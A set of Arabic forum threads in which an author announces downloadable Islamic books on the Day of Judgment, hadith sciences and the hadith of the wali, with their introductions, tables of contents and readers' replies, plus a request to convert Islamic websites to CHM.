حملوا كتابي الجديد ((الإيمانُ بيومِ القِيامةِ وأهوالِهِ)) للشاملة 3+ ورد، pdf
ـ[علي 56]ــــــــ[20 - 09 - 08, 01:05 م]ـ
((هدية العيد قبل سفري))
((حقوق الطبع متاحة لجميع الهيئات العلمية والخيرية))
بسم الله الرحمن الرحيم
الحمد لله رب العالمين، القائل في كتابه العزيز: {يَا أَيُّهَا النَّاسُ إِن كُنتُمْ فِي رَيْبٍ مِّنَ الْبَعْثِ فَإِنَّا خَلَقْنَاكُم مِّن تُرَابٍ ثُمَّ مِن نُّطْفَةٍ ثُمَّ مِنْ عَلَقَةٍ ثُمَّ مِن مُّضْغَةٍ مُّخَلَّقَةٍ وَغَيْرِ مُخَلَّقَةٍ لِّنُبَيِّنَ لَكُمْ وَنُقِرُّ فِي الْأَرْحَامِ مَا نَشَاء إِلَى أَجَلٍ مُّسَمًّى ثُمَّ نُخْرِجُكُمْ طِفْلًا ثُمَّ لِتَبْلُغُوا أَشُدَّكُمْ وَمِنكُم مَّن يُتَوَفَّى وَمِنكُم مَّن يُرَدُّ إِلَى أَرْذَلِ الْعُمُرِ لِكَيْلَا يَعْلَمَ مِن بَعْدِ عِلْمٍ شَيْئًا وَتَرَى الْأَرْضَ هَامِدَةً فَإِذَا أَنزَلْنَا عَلَيْهَا الْمَاء اهْتَزَّتْ وَرَبَتْ وَأَنبَتَتْ مِن كُلِّ زَوْجٍ بَهِيجٍ} (5) سورة الحج
وأشهد أن لا إله إلا الله وحده لا شريك له، القائل: {تَبَارَكَ الَّذِي بِيَدِهِ الْمُلْكُ وَهُوَ عَلَى كُلِّ شَيْءٍ قَدِيرٌ (1) الَّذِي خَلَقَ الْمَوْتَ وَالْحَيَاةَ لِيَبْلُوَكُمْ أَيُّكُمْ أَحْسَنُ عَمَلًا وَهُوَ الْعَزِيزُ الْغَفُورُ (2) [الملك/1 - 2]}
وأشهد أن محمدا عبده ورسوله، الذي أدى الأمانة، وبلغ الرسالة، ونصح الأمة، وكشف الغمة، القائل: «بُعِثْتُ وَالسَّاعَةَ كَهَاتَيْنِ» وَأَشَارَ بِإِصْبُعَيْهِ السَّبَّابَةِ وَالْوُسْطَى (1)
والقائل:" الْجَنَّةُ أَقْرَبُ إِلَى أَحَدِكُمْ مِنْ شِرَاكِ نَعْلِهِ، وَالنَّارُ مِثْلُ ذَلِكَ." (2)
وقد سُئِلَ رَسُولُ اللَّهِ -صلى الله عليه وسلم- عَنْ أَكْثَرِ مَا يُدْخِلُ النَّاسَ الْجَنَّةَ فَقَالَ: «تَقْوَى اللَّهِ وَحُسْنُ الْخُلُقِ». وَسُئِلَ عَنْ أَكْثَرِ مَا يُدْخِلُ النَّاسَ النَّارَ فَقَالَ: «الْفَمُ وَالْفَرْجُ» (3).
صلى الله عليه وعلى وصحبه وسلَّم تسليما كثيراً إلى يوم الدين.
أما بعد:
فإن الله تعالى لم يخلقنا عبثاً، قال تعالى: {أَفَحَسِبْتُمْ أَنَّمَا خَلَقْنَاكُمْ عَبَثًا وَأَنَّكُمْ إِلَيْنَا لَا تُرْجَعُونَ (115) فَتَعَالَى اللَّهُ الْمَلِكُ الْحَقُّ لَا إِلَهَ إِلَّا هُوَ رَبُّ الْعَرْشِ الْكَرِيمِ (116)} [المؤمنون/115 - 117]
وهذه الدنيا دار ابتلاء وفناء، قال تعالى: {فَإِمَّا يَأْتِيَنَّكُمْ مِنِّي هُدًى فَمَنِ اتَّبَعَ هُدَايَ فَلَا يَضِلُّ وَلَا يَشْقَى (123) وَمَنْ أَعْرَضَ عَنْ ذِكْرِي فَإِنَّ لَهُ مَعِيشَةً ضَنْكًا وَنَحْشُرُهُ يَوْمَ الْقِيَامَةِ أَعْمَى (124) قَالَ رَبِّ لِمَ حَشَرْتَنِي أَعْمَى وَقَدْ كُنْتُ بَصِيرًا (125) قَالَ كَذَلِكَ أَتَتْكَ آَيَاتُنَا فَنَسِيتَهَا وَكَذَلِكَ الْيَوْمَ تُنْسَى (126) وَكَذَلِكَ نَجْزِي مَنْ أَسْرَفَ وَلَمْ يُؤْمِنْ بِآَيَاتِ رَبِّهِ وَلَعَذَابُ الْآَخِرَةِ أَشَدُّ وَأَبْقَى (127)} [طه/123 - 127]
وقد كتب الموت علينا جميعاً، قال تعالى: {كُلُّ نَفْسٍ ذَائِقَةُ الْمَوْتِ وَإِنَّمَا تُوَفَّوْنَ أُجُورَكُمْ يَوْمَ الْقِيَامَةِ فَمَنْ زُحْزِحَ عَنِ النَّارِ وَأُدْخِلَ الْجَنَّةَ فَقَدْ فَازَ وَمَا الْحَيَاةُ الدُّنْيَا إِلَّا مَتَاعُ الْغُرُورِ (185)} [آل عمران/185]
وقال تعالى: {يَا أَيُّهَا الْإِنسَانُ إِنَّكَ كَادِحٌ إِلَى رَبِّكَ كَدْحًا فَمُلَاقِيهِ} (6) سورة الانشقاق
هذا والإيمان بيوم القيامة من أركان الإيمان الستة،فعَنْ عُمَرَ رضي الله عنه، أَنَّ جِبْرِيلَ أَتَى النَّبِيَّ - صلى الله عليه وسلم -، فَقَالَ: مَا الإِيمَانُ؟ قَالَ: أَنْ تُؤْمِنَ بِاللَّهِ، وَمَلائِكَتِهِ، وَكُتُبِهِ، وَرُسُلِهِ، وَبِالْيَوْمِ الآخِرِ، وَبِالْقَدَرِ خَيْرِهِ وَشَرِّهِ، فَقَالَ جِبْرِيلُ: صَدَقْتَ، فَتَعَجَّبْنَا مِنْهُ، يَسْأَلُهُ وَيُصَدِّقُهُ، فَقَالَ النَّبِيُّ - صلى الله عليه وسلم -: ذَاكَ جِبْرِيلُ أَتَاكُمْ يُعَلِّمُكُمْ دِينَكُمْ" (4)
(يُتْبَع .. اقلب الصفحة)
(61/311)
واليقين بالآخرة هو مفرق الطريق بين من يعيش بين جدران الحس المغلقة , ومن يعيش في الوجود المديد الرحيب. بين من يشعر أن حياته على الأرض هي كل ما له في هذا الوجود , ومن يشعر أن حياته على الأرض ابتلاء يمهد للجزاء , وأن الحياة الحقيقية إنما هي هنالك , وراء هذا الحيز الصغير المحدود.، وهو صمام الأمان لهذا الإنسان في هذه الدار، حيث يمنعه من السقوط والتردي، والإفساد في الأرض، فعَنْ جَابِرٍ، قَالَ: لَمَّا رَجَعَتْ مُهَاجِرَةُ الْحَبَشَةِ، إِلَى رَسُولِ اللهِ صَلَّى اللَّهُ عَلَيْهِ وَسَلَّمَ، قَالَ: أَلاَ تُحَدِّثُونِي بِأَعْجَبَ مَا رَأَيْتُمْ بِأَرْضِ الْحَبَشَةِ، قَالَ فِتْيَةٌ مِنْهُمْ: يَا رَسُولَ اللهِ، بَيْنَا نَحْنُ جُلُوسٌ مَرَّتْ عَلَيْنَا عَجُوزٌ مِنْ عَجَائِزِهِمْ، تَحْمِلُ عَلَى رَأْسِهَا قُلَّةً مِنْ مَاءٍ، فَمَرَّتْ بِفَتًى مِنْهُمْ، فَجَعَلَ إِحْدَى يَدَيْهِ بَيْنَ كَتِفَيْهَا، ثُمَّ دَفَعَهَا عَلَى رُكْبَتَيْهَا، فَانْكَسَرَتْ قُلَّتُهَا، فَلَمَّا ارْتَفَعَتِ، الْتَفَتَتْ إِلَيْهِ، ثُمَّ قَالَتْ: سَتَعْلَمُ يَا غُدَرُ إِذَا وَضَعَ اللَّهُ الْكُرْسِيَّ، وَجَمَعَ الأَوَّلِينَ وَالآخِرِينَ، وَتَكَلَّمَتِ الأَيْدِي وَالأَرْجُلُ بِمَا كَانَا يَكْسِبُونَ، فَسَوْفَ تَعْلَمُ أَمْرِي وَأَمْرَكَ عِنْدَهُ غَدًا، فَقَالَ رَسُولُ اللهِ صَلَّى اللَّهُ عَلَيْهِ وَسَلَّمَ: صَدَقَتْ، ثُمَّ صَدَقَتْ، كَيْفَ يُقَدِّسُ اللَّهُ قَوْمًا لاَ يُؤْخَذُ لِضَعِيفِهِمْ مِنْ شَدِيدِهِمْ. (5)
وقال تعالى: {يَا دَاوُودُ إِنَّا جَعَلْنَاكَ خَلِيفَةً فِي الْأَرْضِ فَاحْكُمْ بَيْنَ النَّاسِ بِالْحَقِّ وَلَا تَتَّبِعِ الْهَوَى فَيُضِلَّكَ عَنْ سَبِيلِ اللَّهِ إِنَّ الَّذِينَ يَضِلُّونَ عَنْ سَبِيلِ اللَّهِ لَهُمْ عَذَابٌ شَدِيدٌ بِمَا نَسُوا يَوْمَ الْحِسَابِ (26)} [ص/26]
وقد ورد ذكر الآخرة وما فيها من حساب وجزاء ونعيم وعذاب في الكتاب والسنَّة، وألفت فيها كتب كثيرة في جميع العصور الإسلامية، ولكنها لا تخلو من أحاديث مردودة وآراء شاذة، إلا ما رحم ربي.
هذا وقد قمت بجمع ما يتعلق في هذا الموضوع الجلل من مصادره الأساسية في القرآن والسنَّة، وأقوال أهل العلم،وقد قسمته إلى تمهيد ذكرت فيه أهمية الإيمان بيوم القيامة وثمراته، ثم إلى الأبواب التالية:
الباب الأول- النفخ في الصور، وفيه عدة مباحث ..
الباب الثاني- البعث والنشور، وفيه خمسة عشر فصلاً، وتحت كل فصل مباحث عديدة ...
الباب الثالث-صفة الجنة في القرآن والسنة،وفيه اثنان وأربعون مبحثا ....
الباب الرابع-صفة عذاب النار في القرآن والسُّنَّة، وفيه ثلاثة وأربعون مبحثاً .....
وكانت طريقتي على الشكل التالي:
1. محاولة جمع جل ما ورد في القرآن والسنَّة وهو كثير بحمد الله.
2. الآيات القرآنية مكتوبة بالرسم العادي، وجميعها مشكلة، وغالبها مشروح بشكل مختصر.
3. الأحاديث النبوية جلها مشكلة، ومشروح غريبها، ومخرجة بشكل مختصر، ومحكوم عليها، وغالبها يدور بين الصحة والحسن، وبالنادر الضعيف المحتمل، في فضائل الأعمال،ولم أسلك في قبول الأخبار مسلك المتشددين ولا المتساهلين.بل الوسط
4. هناك شرح لمشكل الآيات أو الأحاديث، والتوفيق بين المتعارض ظاهرا منها
5. تفصيل أقوال العلماء في بعض المسائل المتنازع فيها ..
6. ذكرت أهم المصادر التي رجعت إليها في آخر الكتاب، وهي كثيرة جدا
وبهذا نكون قد غطينا ما يتعلق بيوم القيامة كاملا في الكتب التالية:
? الخصال الموجبة لدخول الجنة في القرآن والسنة
? الخصال الموجبة لدخول النار في القرآن والسنة
? الترغيب بالجنة والتحذير من النار
? صفة الجنة في القرآن والسنة
? صفة النار في القرآن والسنة
? الإيمان بيوم القيامة وأهواله
وقد سبقهما كتابان هما:
الاستعداد للموت، وفيه عن عذاب القبر ونعيمه مفصلاً
وأركان الإيمان، وفيه خلاصة الإيمان بهذه الأركان.
نسال الله تعالى أن يتقبل ذلك جميعه بقبول حسن، وأن يحسن ختامنا وختامكم، وأن ينفع به كاتبه، وقارئه وناشره، والدال عليه في الدارين.آمين
(يُتْبَع .. اقلب الصفحة)
(61/312)
قال تعالى: {يَا أَيُّهَا النَّاسُ اتَّقُوا رَبَّكُمْ وَاخْشَوْا يَوْمًا لَا يَجْزِي وَالِدٌ عَنْ وَلَدِهِ وَلَا مَوْلُودٌ هُوَ جَازٍ عَنْ وَالِدِهِ شَيْئًا إِنَّ وَعْدَ اللَّهِ حَقٌّ فَلَا تَغُرَّنَّكُمُ الْحَيَاةُ الدُّنْيَا وَلَا يَغُرَّنَّكُمْ بِاللَّهِ الْغَرُورُ (33) إِنَّ اللَّهَ عِنْدَهُ عِلْمُ السَّاعَةِ وَيُنَزِّلُ الْغَيْثَ وَيَعْلَمُ مَا فِي الْأَرْحَامِ وَمَا تَدْرِي نَفْسٌ مَاذَا تَكْسِبُ غَدًا وَمَا تَدْرِي نَفْسٌ بِأَيِّ أَرْضٍ تَمُوتُ إِنَّ اللَّهَ عَلِيمٌ خَبِيرٌ (34)} [لقمان/33، 34]
وقال الشاعر:
مثِّل لنفسك أيها المغرور ××× يوم القيامة والسماء تمور
إذ كورت شمس النهار وأدنيت ××× حتى على رأس العباد تسير
وإذا النجوم تساقطت وتناثرت ××× وتبدلت بعد الضياء كدور
وإذا البحار تفجرت من خوفها ××× ورأيتها مثل الجحيم تفور
وإذا الجبال تقلعت بأصولها ××× فرأيتها مثل السحاب تسير
وإذا العشار تعطلت وتخربت ××× خلت الديار فما بها معمور
وإذا الوحوش لدى القيامة أحشرت ××× وتقول للأملاك أين تسير
وإذا تقاة المسلمين تزوجت ××× من حور عين زانهن شعور
وإذا الموءودة سئلت عن شأنها ××× وبأي ذنب قتلها ميسور
وإذا الجليل طوى السماء بيمينه ××× طي السجل كتابه المنشور
وإذا الصحائف نشرت فتطايرت ××× وتهتكت للمؤمنين ستور
وإذا السماء تكشطت عن أهلها ××× ورأيت أفلاك السماء تدور
وإذا الجحيم تسعرت نيرانها ××× فلها على أهل الذنوب زفير
وإذا الجنان تزخرفت وتطيبت ××× لفتى على طول البلاء صبور
وإذا الجنين بأمه متعلق ××× يخشى القصاص وقلبه مذعور
هذا بلا ذنب يخاف جنينه ××× كيف المصر على الذنوب دهور
جمعه وأعده
الباحث في القرآن والسنَّة
علي بن نايف الشَّحُّود
في 21 شعبان 1429 هـ الموافق ل 23/ 8/2008م
__________
(1) - صحيح البخارى (4936) ومسند أحمد (23560)
(2) - صحيح البخارى (6488) وصحيح ابن حبان - (ج 2 / ص 437) (661)
(3) - سنن الترمذى (2135) صحيح
(4) - مسند أبي يعلى الموصلي (242) صحيح، وهو في الصحيحين في حديث جبريل الطويل
(5) - صحيح ابن حبان - (ج 11 / ص 443) (5058) صحيح
ـ[النابلسي]ــــــــ[20 - 09 - 08, 01:53 م]ـ
وفقك الله على كتاباتك الرائعة وجعله في ميزان حسناتك
ـ[أبو عبد الله السني]ــــــــ[20 - 09 - 08, 02:34 م]ـ
نفعك الله بما تقدم لنا يا شيخ علي
وأعتقك من النار في هذا الشهر الكريم.
السلام عليكم ورحمة الله وبركاته
ـ[علي 56]ــــــــ[20 - 09 - 08, 02:35 م]ـ
وأنتما أخوي الحبيبين
وفقكما الله تعالى لما فيه خير البلاد والعباد
وأعتق رقابنا ورقابكم من النار
ـ[شبيب القحطاني]ــــــــ[20 - 09 - 08, 02:53 م]ـ
جزاك الله خيرا
وتقبل الله منا ومنكم وجميع المسلمين
وردك الله سالما من سفرك
ـ[علي 56]ــــــــ[20 - 09 - 08, 04:16 م]ـ
ولك مثل دعوتك أخي الحبيب شبيب(61/313)
حملوا كتابي الجديد ((المُفصَّلُ في علوم الحديث)) للشاملة 3+ ورد+ مفهرسا
ـ[علي 56]ــــــــ[20 - 09 - 08, 01:23 م]ـ
((هدية العيد قبل سفري))
((حقوق الطبع متاحة للهيئات العلمية والخيرية))
بسم الله الرحمن الرحيم
الحمد لله رب العالمين، والصلاة والسلام على سيد الأنبياء والمرسلين، وعلى آله وصحبه أجمعين، ومن تبعهم بإحسان إلى يوم الدين.
أما بعد:
فإن الله تعالى قد ختم هذه الرسالة بأمة محمد صلى الله عليه وسلم، لأنه يعلم أنها خير الأمم فقال تعالى عنها: {كُنتُمْ خَيْرَ أُمَّةٍ أُخْرِجَتْ لِلنَّاسِ تَأْمُرُونَ بِالْمَعْرُوفِ وَتَنْهَوْنَ عَنِ الْمُنكَرِ وَتُؤْمِنُونَ بِاللّهِ وَلَوْ آمَنَ أَهْلُ الْكِتَابِ لَكَانَ خَيْرًا لَّهُم مِّنْهُمُ الْمُؤْمِنُونَ وَأَكْثَرُهُمُ الْفَاسِقُونَ} (110) سورة آل عمران
وأورثها الكتاب بعد أن ضيَّعه من قبلنا، فقال تعالى: {ثُمَّ أَوْرَثْنَا الْكِتَابَ الَّذِينَ اصْطَفَيْنَا مِنْ عِبَادِنَا فَمِنْهُمْ ظَالِمٌ لِّنَفْسِهِ وَمِنْهُم مُّقْتَصِدٌ وَمِنْهُمْ سَابِقٌ بِالْخَيْرَاتِ بِإِذْنِ اللَّهِ ذَلِكَ هُوَ الْفَضْلُ الْكَبِيرُ} (32) سورة فاطر
وقد تكفل الله تعالى بحفظ هذا الكتاب، فقال تعالى: {إِنَّا نَحْنُ نَزَّلْنَا الذِّكْرَ وَإِنَّا لَهُ لَحَافِظُونَ} (9) سورة الحجر
وأناط بالأمة الإسلامية حفظ السنَّة النبوية، التي هي (الحكمة) فاختبرها من خلالها، وهو القائل عنها، {وَكَذَلِكَ جَعَلْنَاكُمْ أُمَّةً وَسَطًا لِّتَكُونُواْ شُهَدَاء عَلَى النَّاسِ وَيَكُونَ الرَّسُولُ عَلَيْكُمْ شَهِيدًا .. } (143) سورة البقرة
فقامت بذلك خير قيام،ومن هنا نشأت علوم السنَّة النبوية دراية ورواية، وهذه العلوم قد تفردت بها الأمة الإسلامية عن سائر الأمم، إذ لا توجد إلا فيها، وعمدتها قوله تعالى: {يَا أَيُّهَا الَّذِينَ آمَنُوا إِن جَاءكُمْ فَاسِقٌ بِنَبَأٍ فَتَبَيَّنُوا أَن تُصِيبُوا قَوْمًا بِجَهَالَةٍ فَتُصْبِحُوا عَلَى مَا فَعَلْتُمْ نَادِمِينَ} (6) سورة الحجرات
ومن هنا قيل: ((الإِسْنَادُ مِنَ الدِّينِ وَلَوْلاَ الإِسْنَادُ لَقَالَ مَنْ شَاءَ مَا شَاءَ))
وقد كُتبتْ - بفضل الله تعالى - كتبٌ كثيرة في هذا الموضوع، لم يخلُ منها عصر،ولا سيما عصرنا هذا فجزى الله مؤلفيها عنا خير الجزاء.
وهذا الكتاب الذي بين يدينا، يتحدث عن علوم الحديث كلها، بشكل مفصَّل، وقد استفدت من كتابات المتقدمين - وهي الأساس في هذا الموضوع - ومن تحقيقيات المتأخرين، وغصتُ إلى أعماقها واستخرجت دررها، وذللت صعابها، فهاهي دونكم فاقطفوا ثمارها اليانعة ....
هذا وقد قسمته لستة أبواب:
الباب الأول- تاريخ السنة ونشأتها
وفيه فصلان:
الفصل الأول-تاريخُ السنَّة النبويةِ
الفصل الثاني - نشأتُ علم المصطلح وتطوره
----------------
البابُ الثاني- الخبرُ
وفيه أربعة فصول:
الفصلُ الأول-تقسيمُ الخبر باعتبار وصوله إلينا
المْبحَثُ الأولُ ... -الخبرُ المتواتر ...
المبحث الثاني ... -خبرُ الآحادِ ...
الفصلُ الثاني- الخبرُ المقبولُ
المبحثُ الأول " أقسام المقبول "الصَّحيحُ والحسن بشقيه ...
مسائلُ هامَّةٌ حول خبرِ الآحادِ
ثانيا-حُكْمُ الحديثِ الصحيحِ ...
ثالثا-هل خبرُ الآحاد يفيد القطع واليقين أم غلبة الظنِّ؟
المبْحَث الثَاني ... ـ تقسيمُ الخبر المقبول إلى معمول به وغير معمول به ـ
الفصلُ الثالثُ ... -الخَبَرُ المَرْدوُد
الخبرُ المردودُ وأسباب ردِّه ...
أولاً- تعريفُ الحديث الضعيف
ثانياً- أقسامُ الضعيف
ثالثا- أَوْهَى الأسانيد
رابعاً- متى يقوَى الحديثُ الضعيفُ؟
خامسا- حكمُ العملِ بالحديثِ الضعيفِ
سادساً - أمثلةٌ للحديث الضعيف الذي يجوزُ العملُ به في الفضائل بالشروط الأنفة الذكر: ...
سابعاً- سببُ الأخذ بالحديث الضعيف
ثامناً-كيفَ يروَى الحديثُ الضعيفُ؟
تاسعاً- الجوابُ عن روايةِ بعض كبار الأئمةِ عنِ الضعفاءِ
عاشراً- مسائلُ تتعلقُ بالضعيف
المبْحَثُ الثَاني ... -المردودُ بسببِ سَقْطٍ من الإسناد، التدليس، الإرسال، الإتقطاع، الإعضال ...
(يُتْبَع .. اقلب الصفحة)
(61/314)
المبحثُ الثالثِ-المردودُ بسببِ طعن في الراوي، كالموضوع،المتروك، المنكر، المعلل، المخلفة للثقات،المدرج، المقلوب، المزيد في متصل الأسانيد،المضْطَّرِبُ، التصحيفُ والتحريفُ،الشاذُّ والمحفوظُ، الجهَالة بالرَّاوي، المسكوت عنه، المبتدع،سوءُ حفظ الراوي، المختلط،
الفصْلُ الرابعُ-الخبرُ المُشْتَرَك بين المقبول والمردود
المبْحَثُ الأولُ ... -ـ تقسيم الخبر بالنسبة إلى من أُسْنِد إليه ـالحديثُ القُدْسيُّ -الحديثُ المَرْفُوعُ-الحديثُ المَوْقوفُ -الحديثُ المَقْطوُعُ
المبْحَثُ الثَاني-أنواعٌ أخرى مشتركة بين المقبول والمردود
-----------------
البابُ الثالث-صفة من تُقبل روايتهُ وما يتعلق بذلك من الجرح والتعديل
وفيه ستة فصول:
الفصل الأول- في الراوي وشروط قبوله.
الفصل الثاني- علم الجرح والتعديل
الفصل الثالث-مراتب الجرح والتعديل
الفصل الرابع -منهجُ الحافظ ابن حجر رحمه الله في كتابه التقريب
الفصل الخامس-تعارض الجرح والتعديل ...
الفصل السادس-تفسير عبارات الجرح والتعديل
------------------
البابُ الرابع -الرواية وآدابها وكيفية ضبطها
وفيه فصلان:
الفصلُ الأولُ ... -كيفية ضبط الراوية وطرق تحملها وغريبُ الحديث
الفصلُ الثاني ... -آدابُ الرواية
-----------------
البابُ الخامس ... -الإسنادُ ومَا يتعلقُ بهِ
وفيه فصلان:
الفصلُ الأولُ-لطائفُ الإسناد
الفصلُ الثاني ... -معرفة الرواة
--------------------
البابُ السادس-بحوثٌ في فقه الحديث ومعانيه
وفيه فصلان:
الفصلُ الأول-فقهُ الحديث ...
الفصلُ الثاني-قضايا كثيرةٌ حول العمل بالسنَّة النبوية
-------------------
وكانت طريقتي على الشكل التالي:
1 - الكلام عن علوم الحديث كلها عند الفقهاء والمحدِّثين وعلماء الأصول
2 - الإكثار من النقول من المصادر الأساسية حتى تكون هذه العلوم مفهومة لدى طلاب العلم.
3 - الإكثار من الشواهد والأمثلة لهذه العلوم سواء من السنَّة النبوية أو من أقوال أهل العلم الذين تكلموا عنها.
4 - تخريج الأحاديث من مصادرها الرئيسة بشكل مختصر، والحكم على الأحاديث التي ليست في الصحيحين بما يناسبها جرحاً وتعديلاً وفق المنهج الوسط الذي سار عليه أئمة الجرح والتعديل.
5 - الإسهاب في المواضع التي تحتاج لذلك.
6 - التعقيب على كثير من الأقوال.
7 - تحرير محل النزاع في كثير من الأحيان
8 - ترجيح قول على قول
9 - جمع ما تناثر حول علوم الحديث رواية ودراية
10 - لم نسلك مسلك المتشددين، ولا المتساهلين، بل بين بين
وقد زادت هوامش الكتاب على خمسة آلاف وخمسمائة هامش، ونافت صفحاته على الألفين وثمان مائة وثمانين صحيفة من القطع الكبير.
ومع كتبي الأخرى:
الخلاصة في علم الجرح والتعديل
والمفصل في أصول التخريج ودراسة الأسانيد
والخلاصة في أحكام الحديث الضعيف
والحافظ ابن حجر ومنهجه في تقريب التهذيب
نكون قد تكلمنا على سائر ما يتعلق بمصطلح الحديث والجرح والتعديل ودراسة الأسانيد، فلله الحمد والمنَّةُ.
قال تعالى على لسان النبي شعيب عليه السلام: { .. إِنْ أُرِيدُ إِلاَّ الإِصْلاَحَ مَا اسْتَطَعْتُ وَمَا تَوْفِيقِي إِلاَّ بِاللّهِ عَلَيْهِ تَوَكَّلْتُ وَإِلَيْهِ أُنِيبُ} (88) سورة هود
أسأل الله تعالى أن ينفع به مؤلفه وقارئه وناشره والدال عليه في الدارين.
كتبه
الباحث في القرآن والسنة
علي بن نايف الشحود
في 13 رمضان 1429 هـ الموافق ل 13/ 9/2008 م
- - - - - - - - - - - - - - -
ـ[أبو عبد الله السني]ــــــــ[20 - 09 - 08, 02:57 م]ـ
أعتقك الله من النار
أعتقك الله من النار
أعتقك الله من النار
أعتقك الله من النار
أعتقك الله من النار
ـ[علي 56]ــــــــ[20 - 09 - 08, 03:10 م]ـ
اللهم أعتق رقابنا جميعاً وأهلينا من النار
ـ[أبو محمد المرقال]ــــــــ[20 - 09 - 08, 06:45 م]ـ
جزاك الله خيرا ونفع بجهودك وعلمك
ـ[علي 56]ــــــــ[02 - 10 - 08, 05:02 م]ـ
وأنت أخي الحبيب
جزاك الله خيرا
وتقبل منا ومنكم(61/315)
إلى أهل الخبرة
ـ[البلوشي]ــــــــ[20 - 09 - 08, 01:58 م]ـ
السلام عليكم ورحمة الله وبركاته
أما بعد:-
طلب من الأخوة الأفاضل وأهل الخبرة في الموقع تحويل موقع الإسلام بالكامل إلى chm وهذا الرابط ( http://www.al-islam.com/arb/)
بارك الله فيكم
ـ[البلوشي]ــــــــ[30 - 09 - 08, 10:15 م]ـ
السلام عليكم ورحمة الله وبركاته
بداية تقبل الله منا ومنكم صالح الأعمال
أرجو من الأخوة الرد على الموضوع الأول والثاني
وطلب أخر من الأخوة الأفاضل وأهل الخبرة في المواقع تحويل موقع الشيخ محمد بن صالح العثيمين رحمة الله بالكامل إلى chm وهذا الرابط ( http://www.ibnothaimeen.com/index.shtml)
ـ[البلوشي]ــــــــ[27 - 12 - 08, 10:06 م]ـ
السلام عليكم ورحمة الله وبركاته
أين أنتم يا أخوان بارك الله فيك؟؟؟؟؟؟؟؟؟؟؟؟؟؟؟
ـ[البلوشي]ــــــــ[24 - 09 - 09, 12:45 ص]ـ
السلام عليكم ورحمة الله وبركاته
للرفع للرفع للرفع(61/316)
حملوا كتابي ((الخُلاصَةُُ في شرحِ حديثِ الوَليِِّ)) معدلاً للشاملة 3+ ورد + pdf
ـ[علي 56]ــــــــ[20 - 09 - 08, 03:15 م]ـ
((حقوقُ الطبعِ متاحةٌ لجميعِ الهيئاتِ العلميةِ والخيريةِ))
قد سبق وضع هذا الكتاب في المنتدى أول العام، ولكني قمت بمراجعته بعد ذلك وتعديله
المقدمةُ
الحمد لله رب العالمين، والصلاة والسلام الأتمين على سيد الأنبياء والمرسلين، وعلى آله وصحبه الغرِّ الميامين، ومن تبعهم بإحسانٍ إلى يوم الدين.
وبعد:
يقول الله تعالى: {أَلَا إِنَّ أَوْلِيَاءَ اللَّهِ لَا خَوْفٌ عَلَيْهِمْ وَلَا هُمْ يَحْزَنُونَ (62) الَّذِينَ آَمَنُوا وَكَانُوا يَتَّقُونَ (63) لَهُمُ الْبُشْرَى فِي الْحَيَاةِ الدُّنْيَا وَفِي الْآَخِرَةِ لَا تَبْدِيلَ لِكَلِمَاتِ اللَّهِ ذَلِكَ هُوَ الْفَوْزُ الْعَظِيمُ (64)} [يونس/62 - 64]
وعَنْ أَبِى الدَّرْدَاءِ قَالَ أَتَاهُ رَجُلٌ فَقَالَ مَا تَقُولُ فِى قَوْلِ اللَّهِ (لَهُمُ الْبُشْرَى فِى الْحَيَاةِ الدُّنْيَا وَفِى الآخِرَةِ) قَالَ لَقَدْ سَأَلْتَ عَنْ شَىْءٍ مَا سَمِعْتُ أَحَداً سَأَلَ عَنْهُ بَعْدَ رَجُلٍ سَأَلَ عَنْهُ رَسُولَ اللَّهِ - صلى الله عليه وسلم - قَالَ «بُشْرَاهُمْ فِى الْحَيَاةِ الدُّنْيَا الرُّؤْيَا الصَّالِحَةُ يَرَاهَا الْمُسْلِمُ أَوْ تُرَى لَهُ وَبُشْرَاهُمْ فِى الآخِرَةِ الْجَنَّةُ». (1)
وقد ذكر الله تعالى أن هناك أولياء للرحمن وأولياء للشيطان، وأمرنا أن نكون من أولياء الرحمن، وقد ذكرت الولاية في القرآن والسنة، وقد ورد فيها حديث صحيح مشهور أورده البخاري في صحيحه فعَنْ أَبِى هُرَيْرَةَ قَالَ قَالَ رَسُولُ اللَّهِ - صلى الله عليه وسلم -: «إِنَّ اللَّهَ قَالَ مَنْ عَادَى لِى وَلِيًّا فَقَدْ آذَنْتُهُ بِالْحَرْبِ، وَمَا تَقَرَّبَ إِلَىَّ عَبْدِى بِشَىْءٍ أَحَبَّ إِلَىَّ مِمَّا افْتَرَضْتُ عَلَيْهِ، وَمَا يَزَالُ عَبْدِى يَتَقَرَّبُ إِلَىَّ بِالنَّوَافِلِ حَتَّى أُحِبَّهُ، فَإِذَا أَحْبَبْتُهُ كُنْتُ سَمْعَهُ الَّذِى يَسْمَعُ بِهِ، وَبَصَرَهُ الَّذِى يُبْصِرُ بِهِ، وَيَدَهُ الَّتِى يَبْطُشُ بِهَا وَرِجْلَهُ الَّتِى يَمْشِى بِهَا، وَإِنْ سَأَلَنِى لأُعْطِيَنَّهُ، وَلَئِنِ اسْتَعَاذَنِى لأُعِيذَنَّهُ، وَمَا تَرَدَّدْتُ عَنْ شَىْءٍ أَنَا فَاعِلُهُ تَرَدُّدِى عَنْ نَفْسِ الْمُؤْمِنِ، يَكْرَهُ الْمَوْتَ وَأَنَا أَكْرَهُ مَسَاءَتَهُ» (2).
هذا وقد قام العلماء بشرح هذا الحديث، وهم سائر شراح البخاري، وقام بشرحه العلامة ابن رجب الحنبلي رحمه الله في جامع العلوم والحكم، وشرحه ابن تيمية رحمه الله في رسالته القيمة الفرقان بين أولياء الرحمن وأولياء الشيطان (3) , وأفرده الشوكاني رحمه الله بكتاب ضخم سماه (القطر الجلي شرح حديث الولي) (4)
وقد رأيت أن أقوم بجمع خلاصة هذه الشروح والتوفيق بينها، وإضافة ما يلزم إضافته لها، أو التعقيب على بعضها، لاسيما وقد أصبح الاختلافُ كبيرا بين المسلمين حول كثير من صفات الأولياء.
وقد قمت بجمع مفردات مواد هذا الموضوع من مصادرها الأساسية؛ من القرآن وتفاسيره والسنَّة وشروحها، والفقه والأصول، والآداب وغيرها، متحريا صحة النقل، وقد حكمت على الأحاديث بالصحة والضعف حسب قواعد الجرح والتعديل الموضوعة في هذا الفنِّ.
هذا وقد قسمته إلى بابين وتحت كل باب مباحث عديدة كما يلي:
البابُ الأولُ =مباحثُ هامَّةٌ حول هذا الموضوع ...
المبحثُ الأول -معنى الولاية في اللغة ...
المبحثُ الثاني -وِلاَيَةُ اللَّهِ تَعَالَى بالتفصيل ... ...
المبحثُ الثالث -الخلاصةُ في أحكام السِّحْرِ
المبحثُ الرابع -الخلاصةُ في أحكام الإِلْهَامِ ...
المبحثُ الخامس -الخلاصة في أحكامِ الرُؤْيَا
